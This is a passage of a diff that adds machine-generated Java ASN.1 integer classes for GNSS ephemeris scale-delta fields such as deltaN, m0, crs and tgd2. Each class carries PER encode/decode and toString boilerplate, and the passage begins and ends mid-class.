+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_omegaType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_deltaNType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_deltaNType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_deltaNType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_deltaNType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_deltaNType != null) {
+ return ImmutableList.of(TAG_scale_delta_deltaNType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_deltaNType from encoded stream.
+ */
+ public static scale_delta_deltaNType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_deltaNType result = new scale_delta_deltaNType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_deltaNType from encoded stream.
+ */
+ public static scale_delta_deltaNType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_deltaNType result = new scale_delta_deltaNType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_deltaNType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_m0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_m0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_m0Type() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_m0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_m0Type != null) {
+ return ImmutableList.of(TAG_scale_delta_m0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_m0Type from encoded stream.
+ */
+ public static scale_delta_m0Type fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_m0Type result = new scale_delta_m0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_m0Type from encoded stream.
+ */
+ public static scale_delta_m0Type fromPerAligned(byte[] encodedBytes) {
+ scale_delta_m0Type result = new scale_delta_m0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_m0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_omegadotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_omegadotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_omegadotType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_omegadotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_omegadotType != null) {
+ return ImmutableList.of(TAG_scale_delta_omegadotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_omegadotType from encoded stream.
+ */
+ public static scale_delta_omegadotType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_omegadotType result = new scale_delta_omegadotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_omegadotType from encoded stream.
+ */
+ public static scale_delta_omegadotType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_omegadotType result = new scale_delta_omegadotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_omegadotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_eType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_eType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_eType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_eType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_eType != null) {
+ return ImmutableList.of(TAG_scale_delta_eType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_eType from encoded stream.
+ */
+ public static scale_delta_eType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_eType result = new scale_delta_eType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_eType from encoded stream.
+ */
+ public static scale_delta_eType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_eType result = new scale_delta_eType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_eType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_idotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_idotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_idotType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_idotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_idotType != null) {
+ return ImmutableList.of(TAG_scale_delta_idotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_idotType from encoded stream.
+ */
+ public static scale_delta_idotType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_idotType result = new scale_delta_idotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_idotType from encoded stream.
+ */
+ public static scale_delta_idotType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_idotType result = new scale_delta_idotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_idotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_sqrtAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_sqrtAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_sqrtAType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_sqrtAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_sqrtAType != null) {
+ return ImmutableList.of(TAG_scale_delta_sqrtAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_sqrtAType from encoded stream.
+ */
+ public static scale_delta_sqrtAType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_sqrtAType result = new scale_delta_sqrtAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_sqrtAType from encoded stream.
+ */
+ public static scale_delta_sqrtAType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_sqrtAType result = new scale_delta_sqrtAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_sqrtAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_i0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_i0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_i0Type() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_i0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_i0Type != null) {
+ return ImmutableList.of(TAG_scale_delta_i0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_i0Type from encoded stream.
+ */
+ public static scale_delta_i0Type fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_i0Type result = new scale_delta_i0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_i0Type from encoded stream.
+ */
+ public static scale_delta_i0Type fromPerAligned(byte[] encodedBytes) {
+ scale_delta_i0Type result = new scale_delta_i0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_i0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_omega0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_omega0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_omega0Type() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_omega0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_omega0Type != null) {
+ return ImmutableList.of(TAG_scale_delta_omega0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_omega0Type from encoded stream.
+ */
+ public static scale_delta_omega0Type fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_omega0Type result = new scale_delta_omega0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_omega0Type from encoded stream.
+ */
+ public static scale_delta_omega0Type fromPerAligned(byte[] encodedBytes) {
+ scale_delta_omega0Type result = new scale_delta_omega0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_omega0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_crsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_crsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_crsType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_crsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_crsType != null) {
+ return ImmutableList.of(TAG_scale_delta_crsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_crsType from encoded stream.
+ */
+ public static scale_delta_crsType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_crsType result = new scale_delta_crsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_crsType from encoded stream.
+ */
+ public static scale_delta_crsType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_crsType result = new scale_delta_crsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_crsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_cisType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_cisType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_cisType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_cisType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_cisType != null) {
+ return ImmutableList.of(TAG_scale_delta_cisType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_cisType from encoded stream.
+ */
+ public static scale_delta_cisType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_cisType result = new scale_delta_cisType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_cisType from encoded stream.
+ */
+ public static scale_delta_cisType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_cisType result = new scale_delta_cisType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_cisType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_cusType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_cusType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_cusType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_cusType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_cusType != null) {
+ return ImmutableList.of(TAG_scale_delta_cusType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_cusType from encoded stream.
+ */
+ public static scale_delta_cusType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_cusType result = new scale_delta_cusType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_cusType from encoded stream.
+ */
+ public static scale_delta_cusType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_cusType result = new scale_delta_cusType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_cusType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_crcType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_crcType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_crcType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_crcType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_crcType != null) {
+ return ImmutableList.of(TAG_scale_delta_crcType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_crcType from encoded stream.
+ */
+ public static scale_delta_crcType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_crcType result = new scale_delta_crcType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_crcType from encoded stream.
+ */
+ public static scale_delta_crcType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_crcType result = new scale_delta_crcType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_crcType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_cicType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_cicType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_cicType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_cicType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_cicType != null) {
+ return ImmutableList.of(TAG_scale_delta_cicType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_cicType from encoded stream.
+ */
+ public static scale_delta_cicType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_cicType result = new scale_delta_cicType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_cicType from encoded stream.
+ */
+ public static scale_delta_cicType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_cicType result = new scale_delta_cicType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_cicType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_cucType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_cucType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_cucType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_cucType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_cucType != null) {
+ return ImmutableList.of(TAG_scale_delta_cucType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_cucType from encoded stream.
+ */
+ public static scale_delta_cucType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_cucType result = new scale_delta_cucType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_cucType from encoded stream.
+ */
+ public static scale_delta_cucType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_cucType result = new scale_delta_cucType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_cucType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_tgd1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_tgd1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_tgd1Type() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_tgd1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_tgd1Type != null) {
+ return ImmutableList.of(TAG_scale_delta_tgd1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_tgd1Type from encoded stream.
+ */
+ public static scale_delta_tgd1Type fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_tgd1Type result = new scale_delta_tgd1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_tgd1Type from encoded stream.
+ */
+ public static scale_delta_tgd1Type fromPerAligned(byte[] encodedBytes) {
+ scale_delta_tgd1Type result = new scale_delta_tgd1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_tgd1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_tgd2Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_tgd2Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_tgd2Type() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_tgd2Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_tgd2Type != null) {
+ return ImmutableList.of(TAG_scale_delta_tgd2Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_tgd2Type from encoded stream.
+ */
+ public static scale_delta_tgd2Type fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_tgd2Type result = new scale_delta_tgd2Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_tgd2Type from encoded stream.
+ */
+ public static scale_delta_tgd2Type fromPerAligned(byte[] encodedBytes) {
+ scale_delta_tgd2Type result = new scale_delta_tgd2Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
